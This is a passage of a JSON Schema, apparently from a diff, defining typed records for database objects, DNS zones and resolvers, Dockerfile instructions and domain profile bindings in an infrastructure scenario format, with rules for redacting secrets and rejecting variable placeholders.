Ref","type":"string"},"object_type":{"anyOf":[{"$ref":"#/$defs/DatabaseObjectType"},{"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"pattern":"^(?:[dD][aA][tT][aA][bB][aA][sS][eE]|[sS][cC][hH][eE][mM][aA]|[tT][aA][bB][lL][eE]|\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\})$(?![\\s\\S])","type":"string"}],"title":"Object Type"},"privileges":{"items":{"$ref":"#/$defs/_r185"},"title":"Privileges","type":"array"},"with_grant_option":{"anyOf":[{"type":"boolean"},{"$ref":"#/$defs/_r185"}],"default":false,"title":"With Grant Option"}},"required":["grantee_role_ref","object_type","object_ref"],"title":"DatabaseGrant","type":"object"}, + "DatabaseListener": {"additionalProperties":false,"description":"An observed listener of a database service.\n\nThis records what the database process itself listens on. It is not host\npublication \u2014 ``runtime.network.published_ports`` remains the host-exposure\nfact (ADR-029 \u00a73).","properties":{"address":{"$ref":"#/$defs/_r168"},"description":{"$ref":"#/$defs/_r53"},"port":{"$ref":"#/$defs/_r37"}},"required":["address"],"title":"DatabaseListener","type":"object"}, + "DatabaseObjectOrigin": {"description":"Whether a database object was scenario-authored or engine-supplied.\n\nKeeps engine built-ins (``postgres``, ``template0``, ``template1``,\n``information_schema``) and system roles from looking scenario-authored.","enum":["scenario","built_in","system","unknown","other"],"title":"DatabaseObjectOrigin","type":"string"}, + "DatabaseObjectType": {"description":"The kind of database object a grant applies to.","enum":["database","schema","table"],"title":"DatabaseObjectType","type":"string"}, + "DatabaseProtocol": {"description":"The wire protocol an observed database service speaks.\n\nKept distinct from :class:`DatabaseEngine`: a MariaDB engine speaks the\n``mysql`` protocol, and PostgreSQL must never be ``other`` (ADR-029 \u00a73).","enum":["postgresql","mysql","tds","mongodb","redis","other","unknown"],"title":"DatabaseProtocol","type":"string"}, + "DatabaseRole": {"additionalProperties":false,"description":"An observed database-local role \u2014 an authorization principal.\n\nDatabase roles are not OS accounts, ``runtime.local_identity`` users, or\ntop-level scenario ``accounts`` (ADR-029 \u00a74).","properties":{"can_login":{"anyOf":[{"type":"boolean"},{"$ref":"#/$defs/_r185"},{"type":"null"}],"default":null,"title":"Can Login"},"description":{"$ref":"#/$defs/_r53"},"name":{"$ref":"#/$defs/_r174"},"origin":{"$ref":"#/$defs/_r4"},"role_id":{"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Role Id","type":"string"},"role_type":{"anyOf":[{"$ref":"#/$defs/DatabaseRoleType"},{"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"pattern":"^(?:[lL][oO][gG][iI][nN]|[gG][rR][oO][uU][pP]|[aA][pP][pP][lL][iI][cC][aA][tT][iI][oO][nN]|[sS][eE][rR][vV][iI][cC][eE]|[aA][dD][mM][iI][nN]|[sS][yY][sS][tT][eE][mM]|[oO][tT][hH][eE][rR]|[uU][nN][kK][nN][oO][wW][nN]|x-[a-z0-9]+(?:-[a-z0-9]+)*:[a-z0-9]+(?:-[a-z0-9]+)*|\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\})$(?![\\s\\S])","type":"string"}],"default":"other","title":"Role Type"}},"required":["role_id","name"],"title":"DatabaseRole","type":"object"}, + "DatabaseRoleType": {"description":"Portable classification of a database-local role.","enum":["login","group","application","service","admin","system","other","unknown"],"title":"DatabaseRoleType","type":"string"}, + "DatabaseSchema": {"additionalProperties":false,"description":"An observed schema (namespace) within a database.","properties":{"description":{"$ref":"#/$defs/_r53"},"name":{"$ref":"#/$defs/_r174"},"origin":{"$ref":"#/$defs/_r4"},"schema_id":{"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Schema Id","type":"string"},"tables":{"items":{"$ref":"#/$defs/DatabaseTable"},"title":"Tables","type":"array"}},"required":["schema_id","name"],"title":"DatabaseSchema","type":"object"}, + "DatabaseSetting": {"additionalProperties":false,"description":"An observed database runtime setting with provenance and sensitivity.\n\nExplicit ``redacted``/``operator_secret`` classifications omit raw values;\ncredential-shaped names remain scenario content unless the author marks the\nvalue withheld.","if":{"properties":{"value_classification":{"anyOf":[{"pattern":"^[Rr][Ee][Dd][Aa][Cc][Tt][Ee][Dd]$","type":"string"},{"pattern":"^[Oo][Pp][Ee][Rr][Aa][Tt][Oo][Rr][_-][Ss][Ee][Cc][Rr][Ee][Tt]$","type":"string"}]}},"required":["value_classification"]},"properties":{"description":{"$ref":"#/$defs/_r53"},"name":{"$ref":"#/$defs/_r174"},"provenance":{"anyOf":[{"$ref":"#/$defs/DatabaseSettingProvenance"},{"$ref":"#/$defs/_r153"}],"default":"unknown","title":"Provenance"},"value":{"$ref":"#/$defs/_r80"},"value_classification":{"$ref":"#/$defs/_r20"}},"required":["name"],"then":{"not":{"properties":{"value":{"minLength":1,"type":"string"}},"required":["value"]}},"title":"DatabaseSetting","type":"object"}, + "DatabaseSettingProvenance": {"description":"Where an observed database runtime setting value came from.","enum":["introspection","configuration_file","image_default","operator_override","runtime_default","unknown","other"],"title":"DatabaseSettingProvenance","type":"string"}, + "DatabaseTable": {"additionalProperties":false,"description":"An observed table in a database schema.\n\n``table_id`` is the stable identity; ``name`` is the observed table name\nand is data, never a mapping key or reference segment.","properties":{"description":{"$ref":"#/$defs/_r53"},"name":{"$ref":"#/$defs/_r174"},"table_id":{"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Table Id","type":"string"}},"required":["table_id","name"],"title":"DatabaseTable","type":"object"}, + "DeploymentCell": {"additionalProperties":false,"description":"One tenant-owned failure/isolation cell with explicit node membership.","properties":{"cross_tenant_isolation":{"$ref":"#/$defs/CrossTenantIsolation","title":"Cross Tenant Isolation"},"node_refs":{"items":{"$ref":"#/$defs/_r185"},"minItems":1,"title":"Node Refs","type":"array"},"tenant_ref":{"minLength":1,"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Tenant Ref","type":"string"}},"required":["tenant_ref","node_refs","cross_tenant_isolation"],"title":"DeploymentCell","type":"object"}, + "DeploymentTenant": {"additionalProperties":false,"description":"Stable portable deployment-tenant identity.","properties":{"description":{"$ref":"#/$defs/_r53"}},"title":"DeploymentTenant","type":"object"}, + "DnsDynamicUpdatePolicy": {"additionalProperties":false,"description":"Observed dynamic-update posture without raw update credentials.","properties":{"allowed_clients":{"$ref":"#/$defs/_r103"},"description":{"$ref":"#/$defs/_r53"},"enabled":{"$ref":"#/$defs/_r27"},"key_names":{"items":{"$ref":"#/$defs/_r185"},"title":"Key Names","type":"array"},"policy":{"default":"","not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Policy","type":"string"}},"title":"DnsDynamicUpdatePolicy","type":"object"}, + "DnsForwarder": {"additionalProperties":false,"description":"Recursive upstream resolver endpoint.","properties":{"address":{"$ref":"#/$defs/_r168"},"description":{"$ref":"#/$defs/_r53"},"port":{"anyOf":[{"type":"integer"},{"$ref":"#/$defs/_r185"}],"default":53,"title":"Port"},"tls_server_name":{"default":"","not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Tls Server Name","type":"string"},"transport":{"anyOf":[{"$ref":"#/$defs/DnsForwarderTransport"},{"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"pattern":"^(?:[uU][dD][pP]|[tT][cC][pP]|[tT][lL][sS]|[hH][tT][tT][pP][sS]|[oO][tT][hH][eE][rR]|[uU][nN][kK][nN][oO][wW][nN]|x-[a-z0-9]+(?:-[a-z0-9]+)*:[a-z0-9]+(?:-[a-z0-9]+)*|\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\})$(?![\\s\\S])","type":"string"}],"default":"udp","title":"Transport"}},"required":["address"],"title":"DnsForwarder","type":"object"}, + "DnsForwarderTransport": {"description":"Transport used to contact a recursive upstream.","enum":["udp","tcp","tls","https","other","unknown"],"title":"DnsForwarderTransport","type":"string"}, + "DnsForwardingPolicy": {"description":"How upstream forwarders are used.","enum":["first","only","random","round_robin","sequential","none","other","unknown"],"title":"DnsForwardingPolicy","type":"string"}, + "DnsMxRdata": {"additionalProperties":false,"description":"Typed MX RDATA fields.","properties":{"exchange":{"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Exchange","type":"string"},"preference":{"anyOf":[{"type":"integer"},{"$ref":"#/$defs/_r185"}],"title":"Preference"}},"required":["preference","exchange"],"title":"DnsMxRdata","type":"object"}, + "DnsRecordClass": {"description":"DNS RR class.","enum":["in","ch","hs","none","any","other","unknown"],"title":"DnsRecordClass","type":"string"}, + "DnsRecordProvenance": {"description":"Where an observed DNS record or zone fact came from.","enum":["axfr","ixfr","query","configuration_file","zone_file","provider_api","runtime_default","operator_override","unknown","other"],"title":"DnsRecordProvenance","type":"string"}, + "DnsRecordType": {"description":"Common DNS RR types plus an escape hatch for IANA extensions.","enum":["a","aaaa","cname","ns","mx","ptr","soa","srv","txt","caa","ds","dnskey","rrsig","nsec","nsec3","tlsa","svcb","https","other","unknown"],"title":"DnsRecordType","type":"string"}, + "DnsResolverPolicy": {"additionalProperties":false,"description":"Recursive/forwarding resolver policy for a DNS service.","properties":{"allow_recursion":{"items":{"$ref":"#/$defs/_r185"},"title":"Allow Recursion","type":"array"},"default_logging":{"anyOf":[{"type":"boolean"},{"$ref":"#/$defs/_r185"},{"type":"null"}],"default":null,"title":"Default Logging"},"description":{"$ref":"#/$defs/_r53"},"dnssec_validation":{"anyOf":[{"$ref":"#/$defs/DnssecValidationMode"},{"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"pattern":"^(?:[eE][nN][aA][bB][lL][eE][dD]|[dD][iI][sS][aA][bB][lL][eE][dD]|[aA][uU][tT][oO]|[pP][eE][rR][mM][iI][sS][sS][iI][vV][eE]|[uU][nN][kK][nN][oO][wW][nN]|[oO][tT][hH][eE][rR]|\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\})$(?![\\s\\S])","type":"string"}],"default":"unknown","title":"Dnssec Validation"},"forwarders":{"items":{"$ref":"#/$defs/DnsForwarder"},"title":"Forwarders","type":"array"},"forwarding_policy":{"anyOf":[{"$ref":"#/$defs/DnsForwardingPolicy"},{"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"pattern":"^(?:[fF][iI][rR][sS][tT]|[oO][nN][lL][yY]|[rR][aA][nN][dD][oO][mM]|[rR][oO][uU][nN][dD][-_][rR][oO][bB][iI][nN]|[sS][eE][qQ][uU][eE][nN][tT][iI][aA][lL]|[nN][oO][nN][eE]|[oO][tT][hH][eE][rR]|[uU][nN][kK][nN][oO][wW][nN]|\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\})$(?![\\s\\S])","type":"string"}],"default":"unknown","title":"Forwarding Policy"},"query_logging":{"anyOf":[{"type":"boolean"},{"$ref":"#/$defs/_r185"},{"type":"null"}],"default":null,"title":"Query Logging"},"recursion_enabled":{"anyOf":[{"type":"boolean"},{"$ref":"#/$defs/_r185"},{"type":"null"}],"default":null,"title":"Recursion Enabled"}},"title":"DnsResolverPolicy","type":"object"}, + "DnsResourceRecord": {"additionalProperties":false,"description":"One observed record within an RRset.","properties":{"address":{"$ref":"#/$defs/_r47"},"description":{"$ref":"#/$defs/_r53"},"mx":{"anyOf":[{"$ref":"#/$defs/DnsMxRdata"},{"type":"null"}],"default":null},"rdata":{"default":"","not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Rdata","type":"string"},"soa":{"anyOf":[{"$ref":"#/$defs/DnsSoaRdata"},{"type":"null"}],"default":null},"srv":{"anyOf":[{"$ref":"#/$defs/DnsSrvRdata"},{"type":"null"}],"default":null},"target":{"$ref":"#/$defs/_r78"},"text":{"items":{"$ref":"#/$defs/_r185"},"title":"Text","type":"array"}},"title":"DnsResourceRecord","type":"object"}, + "DnsResourceRecordSet": {"additionalProperties":false,"description":"Records grouped by owner name, class, type, and TTL.","properties":{"description":{"$ref":"#/$defs/_r53"},"owner":{"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Owner","type":"string"},"provenance":{"$ref":"#/$defs/_r6"},"record_type":{"anyOf":[{"$ref":"#/$defs/DnsRecordType"},{"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"pattern":"^(?:[aA]|[aA][aA][aA][aA]|[cC][nN][aA][mM][eE]|[nN][sS]|[mM][xX]|[pP][tT][rR]|[sS][oO][aA]|[sS][rR][vV]|[tT][xX][tT]|[cC][aA][aA]|[dD][sS]|[dD][nN][sS][kK][eE][yY]|[rR][rR][sS][iI][gG]|[nN][sS][eE][cC]|[nN][sS][eE][cC]3|[tT][lL][sS][aA]|[sS][vV][cC][bB]|[hH][tT][tT][pP][sS]|[oO][tT][hH][eE][rR]|[uU][nN][kK][nN][oO][wW][nN]|\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\})$(?![\\s\\S])","type":"string"}],"title":"Record Type"},"records":{"items":{"$ref":"#/$defs/DnsResourceRecord"},"title":"Records","type":"array"},"rrset_id":{"$ref":"#/$defs/_r3"},"ttl":{"anyOf":[{"type":"integer"},{"$ref":"#/$defs/_r185"},{"type":"null"}],"default":null,"title":"Ttl"},"type_code":{"anyOf":[{"type":"integer"},{"$ref":"#/$defs/_r185"},{"type":"null"}],"default":null,"title":"Type Code"},"zone_class":{"$ref":"#/$defs/_r5"}},"required":["rrset_id","owner","record_type"],"title":"DnsResourceRecordSet","type":"object"}, + "DnsRuntimeSetting": {"additionalProperties":false,"description":"Bounded DNS runtime setting with provenance and redaction.","if":{"properties":{"value_classification":{"anyOf":[{"pattern":"^[Rr][Ee][Dd][Aa][Cc][Tt][Ee][Dd]$","type":"string"},{"pattern":"^[Oo][Pp][Ee][Rr][Aa][Tt][Oo][Rr][_-][Ss][Ee][Cc][Rr][Ee][Tt]$","type":"string"}]}},"required":["value_classification"]},"properties":{"description":{"$ref":"#/$defs/_r53"},"name":{"$ref":"#/$defs/_r174"},"provenance":{"anyOf":[{"$ref":"#/$defs/DnsSettingProvenance"},{"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"pattern":"^(?:[cC][oO][nN][fF][iI][gG][uU][rR][aA][tT][iI][oO][nN][-_][fF][iI][lL][eE]|[iI][nN][tT][rR][oO][sS][pP][eE][cC][tT][iI][oO][nN]|[iI][mM][aA][gG][eE][-_][dD][eE][fF][aA][uU][lL][tT]|[oO][pP][eE][rR][aA][tT][oO][rR][-_][oO][vV][eE][rR][rR][iI][dD][eE]|[rR][uU][nN][tT][iI][mM][eE][-_][dD][eE][fF][aA][uU][lL][tT]|[uU][nN][kK][nN][oO][wW][nN]|[oO][tT][hH][eE][rR]|x-[a-z0-9]+(?:-[a-z0-9]+)*:[a-z0-9]+(?:-[a-z0-9]+)*|\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\})$(?![\\s\\S])","type":"string"}],"default":"unknown","title":"Provenance"},"value":{"$ref":"#/$defs/_r80"},"value_classification":{"$ref":"#/$defs/_r20"}},"required":["name"],"then":{"not":{"properties":{"value":{"minLength":1,"type":"string"}},"required":["value"]}},"title":"DnsRuntimeSetting","type":"object"}, + "DnsServerImplementation": {"description":"Portable implementation family for the observed DNS service.","enum":["bind","coredns","powerdns","knot_dns","nsd","windows_dns","dnsmasq","unbound","other","unknown"],"title":"DnsServerImplementation","type":"string"}, + "DnsServiceRole": {"description":"Role the DNS service performs for participants or peers.","enum":["authoritative","recursive_resolver","forwarding_resolver","caching_resolver","stub_resolver","other","unknown"],"title":"DnsServiceRole","type":"string"}, + "DnsSettingProvenance": {"description":"Where an observed DNS setting value came from.","enum":["configuration_file","introspection","image_default","operator_override","runtime_default","unknown","other"],"title":"DnsSettingProvenance","type":"string"}, + "DnsSoaRdata": {"additionalProperties":false,"description":"Typed SOA RDATA fields.","properties":{"expire":{"anyOf":[{"type":"integer"},{"$ref":"#/$defs/_r185"}],"title":"Expire"},"minimum":{"anyOf":[{"type":"integer"},{"$ref":"#/$defs/_r185"}],"title":"Minimum"},"mname":{"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Mname","type":"string"},"refresh":{"anyOf":[{"type":"integer"},{"$ref":"#/$defs/_r185"}],"title":"Refresh"},"retry":{"anyOf":[{"type":"integer"},{"$ref":"#/$defs/_r185"}],"title":"Retry"},"rname":{"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Rname","type":"string"},"serial":{"anyOf":[{"type":"integer"},{"$ref":"#/$defs/_r185"}],"title":"Serial"}},"required":["mname","rname","serial","refresh","retry","expire","minimum"],"title":"DnsSoaRdata","type":"object"}, + "DnsSrvRdata": {"additionalProperties":false,"description":"Typed SRV RDATA fields.","properties":{"port":{"$ref":"#/$defs/_r43"},"priority":{"anyOf":[{"type":"integer"},{"$ref":"#/$defs/_r185"}],"title":"Priority"},"target":{"$ref":"#/$defs/_r182"},"weight":{"anyOf":[{"type":"integer"},{"$ref":"#/$defs/_r185"}],"title":"Weight"}},"required":["priority","weight","port","target"],"title":"DnsSrvRdata","type":"object"}, + "DnsZone": {"additionalProperties":false,"description":"An observed authoritative or forwarding DNS zone.","properties":{"description":{"$ref":"#/$defs/_r53"},"kind":{"anyOf":[{"$ref":"#/$defs/DnsZoneKind"},{"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"pattern":"^(?:[pP][rR][iI][mM][aA][rR][yY]|[sS][eE][cC][oO][nN][dD][aA][rR][yY]|[sS][tT][uU][bB]|[fF][oO][rR][wW][aA][rR][dD]|[hH][iI][nN][tT]|[cC][aA][tT][aA][lL][oO][gG]|[oO][tT][hH][eE][rR]|[uU][nN][kK][nN][oO][wW][nN]|x-[a-z0-9]+(?:-[a-z0-9]+)*:[a-z0-9]+(?:-[a-z0-9]+)*|\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\})$(?![\\s\\S])","type":"string"}],"default":"unknown","title":"Kind"},"name":{"$ref":"#/$defs/_r174"},"provenance":{"$ref":"#/$defs/_r6"},"purpose":{"anyOf":[{"$ref":"#/$defs/DnsZonePurpose"},{"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"pattern":"^(?:[fF][oO][rR][wW][aA][rR][dD]|[rR][eE][vV][eE][rR][sS][eE]|[sS][eE][rR][vV][iI][cC][eE][-_][dD][iI][sS][cC][oO][vV][eE][rR][yY]|[iI][nN][fF][rR][aA][sS][tT][rR][uU][cC][tT][uU][rR][eE]|[oO][tT][hH][eE][rR]|[uU][nN][kK][nN][oO][wW][nN]|x-[a-z0-9]+(?:-[a-z0-9]+)*:[a-z0-9]+(?:-[a-z0-9]+)*|\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\})$(?![\\s\\S])","type":"string"}],"default":"unknown","title":"Purpose"},"rrsets":{"items":{"$ref":"#/$defs/DnsResourceRecordSet"},"title":"Rrsets","type":"array"},"transfer":{"anyOf":[{"$ref":"#/$defs/DnsZoneTransferPolicy"},{"type":"null"}],"default":null},"zone_class":{"$ref":"#/$defs/_r5"},"zone_file_refs":{"items":{"$ref":"#/$defs/_r185"},"title":"Zone File Refs","type":"array"},"zone_id":{"$ref":"#/$defs/_r3"}},"required":["zone_id","name"],"title":"DnsZone","type":"object"}, + "DnsZoneKind": {"description":"Portable zone role independent of one server's configuration grammar.","enum":["primary","secondary","stub","forward","hint","catalog","other","unknown"],"title":"DnsZoneKind","type":"string"}, + "DnsZonePurpose": {"description":"Semantic purpose of a zone name.","enum":["forward","reverse","service_discovery","infrastructure","other","unknown"],"title":"DnsZonePurpose","type":"string"}, + "DnsZoneTransferPolicy": {"additionalProperties":false,"description":"Observed zone-transfer posture for a DNS zone.","properties":{"allowed_clients":{"$ref":"#/$defs/_r103"},"axfr_enabled":{"anyOf":[{"type":"boolean"},{"$ref":"#/$defs/_r185"},{"type":"null"}],"default":null,"title":"Axfr Enabled"},"description":{"$ref":"#/$defs/_r53"},"ixfr_enabled":{"anyOf":[{"type":"boolean"},{"$ref":"#/$defs/_r185"},{"type":"null"}],"default":null,"title":"Ixfr Enabled"},"primary_servers":{"items":{"$ref":"#/$defs/_r185"},"title":"Primary Servers","type":"array"},"secondary_servers":{"items":{"$ref":"#/$defs/_r185"},"title":"Secondary Servers","type":"array"}},"title":"DnsZoneTransferPolicy","type":"object"}, + "DnssecValidationMode": {"description":"Recursive DNSSEC validation posture.","enum":["enabled","disabled","auto","permissive","unknown","other"],"title":"DnssecValidationMode","type":"string"}, + "DockerfileInstruction": {"additionalProperties":false,"description":"A structured record of one container build-recipe instruction.\n\nThe instruction is kept as a typed kind plus tokenized ``arguments``\nrather than raw recipe text: raw Dockerfile/shell syntax can contain\n``${...}`` strings that collide with RAES variable substitution.","properties":{"arguments":{"items":{"$ref":"#/$defs/_r185"},"title":"Arguments","type":"array"},"description":{"$ref":"#/$defs/_r53"},"instruction":{"anyOf":[{"$ref":"#/$defs/DockerfileInstructionKind"},{"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"pattern":"^(?:[fF][rR][oO][mM]|[aA][rR][gG]|[eE][nN][vV]|[rR][uU][nN]|[cC][oO][pP][yY]|[aA][dD][dD]|[wW][oO][rR][kK][dD][iI][rR]|[eE][nN][tT][rR][yY][pP][oO][iI][nN][tT]|[cC][mM][dD]|[hH][eE][aA][lL][tT][hH][cC][hH][eE][cC][kK]|[lL][aA][bB][eE][lL]|[eE][xX][pP][oO][sS][eE]|[uU][sS][eE][rR]|[vV][oO][lL][uU][mM][eE]|[sS][hH][eE][lL][lL]|[sS][tT][oO][pP][sS][iI][gG][nN][aA][lL]|[oO][nN][bB][uU][iI][lL][dD]|[mM][aA][iI][nN][tT][aA][iI][nN][eE][rR]|[oO][tT][hH][eE][rR]|\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\})$(?![\\s\\S])","type":"string"}],"title":"Instruction"}},"required":["instruction"],"title":"DockerfileInstruction","type":"object"}, + "DockerfileInstructionKind": {"description":"Observed kind of a structured container build-recipe instruction.","enum":["from","arg","env","run","copy","add","workdir","entrypoint","cmd","healthcheck","label","expose","user","volume","shell","stopsignal","onbuild","maintainer","other"],"title":"DockerfileInstructionKind","type":"string"}, + "DomainProfileBindingBasis": {"enum":["author-supplied","backend-selected","observed"],"title":"DomainProfileBindingBasis","type":"string"}, + "DomainProfileBindingModel": {"additionalProperties":false,"description":"Typed profile data attached to one explicit host owner.","properties":{"binding_id":{"maxLength":128,"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"pattern":"^[a-z][a-z0-9]*(?:[-.][a-z0-9]+)*$","title":"Binding Id","type":"string"},"children":{"default":[],"items":{"$ref":"#/$defs/DomainProfileBindingModel"},"title":"Children","type":"array"},"coordinate":{"$ref":"#/$defs/DomainProfileCoordinateModel"},"owner":{"$ref":"#/$defs/DomainProfileBindingOwnerModel"},"provenance":{"$ref":"#/$defs/DomainProfileBindingProvenanceModel"},"schema_version":{"const":"domain-profile-binding/v1","default":"domain-profile-binding/v1","title":"Schema Version","type":"string"},"value":{"$ref":"#/$defs/JsonValue"}},"required":["binding_id","coordinate","owner","value","provenance"],"title":"DomainProfileBindingModel","type":"object"}, + "DomainProfileBindingOwnerModel": {"additionalProperties":false,"description":"Explicit core owner, phase, context, and use for profile data.","properties":{"canonical_address":{"maxLength":4096,"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"pattern":"^#(?:/(?:[^~/]|~[01])*)*$","title":"Canonical Address","type":"string"},"concept_family":{"minLength":1,"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Concept Family","type":"string"},"context":{"minLength":1,"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Context","type":"string"},"lifecycle_phase":{"minLength":1,"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Lifecycle Phase","type":"string"},"owning_contract_id":{"minLength":1,"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Owning Contract Id","type":"string"},"use":{"$ref":"#/$defs/DomainProfileBindingUse"}},"required":["owning_contract_id","canonical_address","concept_family","lifecycle_phase","context","use"],"title":"DomainProfileBindingOwnerModel","type":"object"}, + "DomainProfileBindingProvenanceModel": {"additionalProperties":false,"allOf":[{"if":{"properties":{"basis":{"const":"observed"}},"required":["basis"]},"then":{"properties":{"evidence_refs":{"minItems":1}},"required":["evidence_refs"]}},{"if":{"properties":{"basis":{"enum":["author-supplied","backend-selected"]}},"required":["basis"]},"then":{"properties":{"evidence_refs":{"maxItems":0}}}}],"description":"Basis of a bound value, separate from definition trust provenance.","properties":{"basis":{"$ref":"#/$defs/DomainProfileBindingBasis"},"evidence_refs":{"default":[],"items":{"$ref":"#/$defs/_r146"},"title":"Evidence Refs","type":"array"},"source_ref":{"minLength":1,"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Source Ref","type":"string"}},"required":["basis","source_ref"],"title":"DomainProfileBindingProvenanceModel","type":"object"}, + "DomainProfileBindingUse": {"enum":["constraint","typed-report","annotation","opaque-exchange"],"title":"DomainProfileBindingUse","type":"string"}, + "DomainProfileCoordinateModel": {"additionalProperties":false,"description":"Exact immutable definition coordinate.","properties":{"authority":{"$ref":"#/$defs/_r139"},"definition_digest":{"minLength":1,"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"pattern":"^(?:sha256:[A-Fa-f0-9]{64}|sha384:[A-Fa-f0-9]{96}|sha512:[A-Fa-f0-9]{128}|blake3:[A-Fa-f0-9]{64})$","title":"Definition Digest","type":"string"},"namespace":{"maxLength":253,"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"pattern":"^[a-z][a-z0-9]*(?:[.-][a-z0-9]+)*$","title":"Namespace","type":"string"},"profile_id":{"maxLength":128,"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"pattern":"^[a-z][a-z0-9]*(?:[-.][a-z0-9]+)*$","title":"Profile Id","type":"string"},"revision":{"$ref":"#/$defs/_r131"}},"required":["namespace","authority","profile_id","revision","definition_digest"],"title":"DomainProfileCoordinateModel","type":"object"}, + "DomainProfileDefinitionModel": {"additionalProperties":false,"description":"Immutable standard-or-private definition using the shared 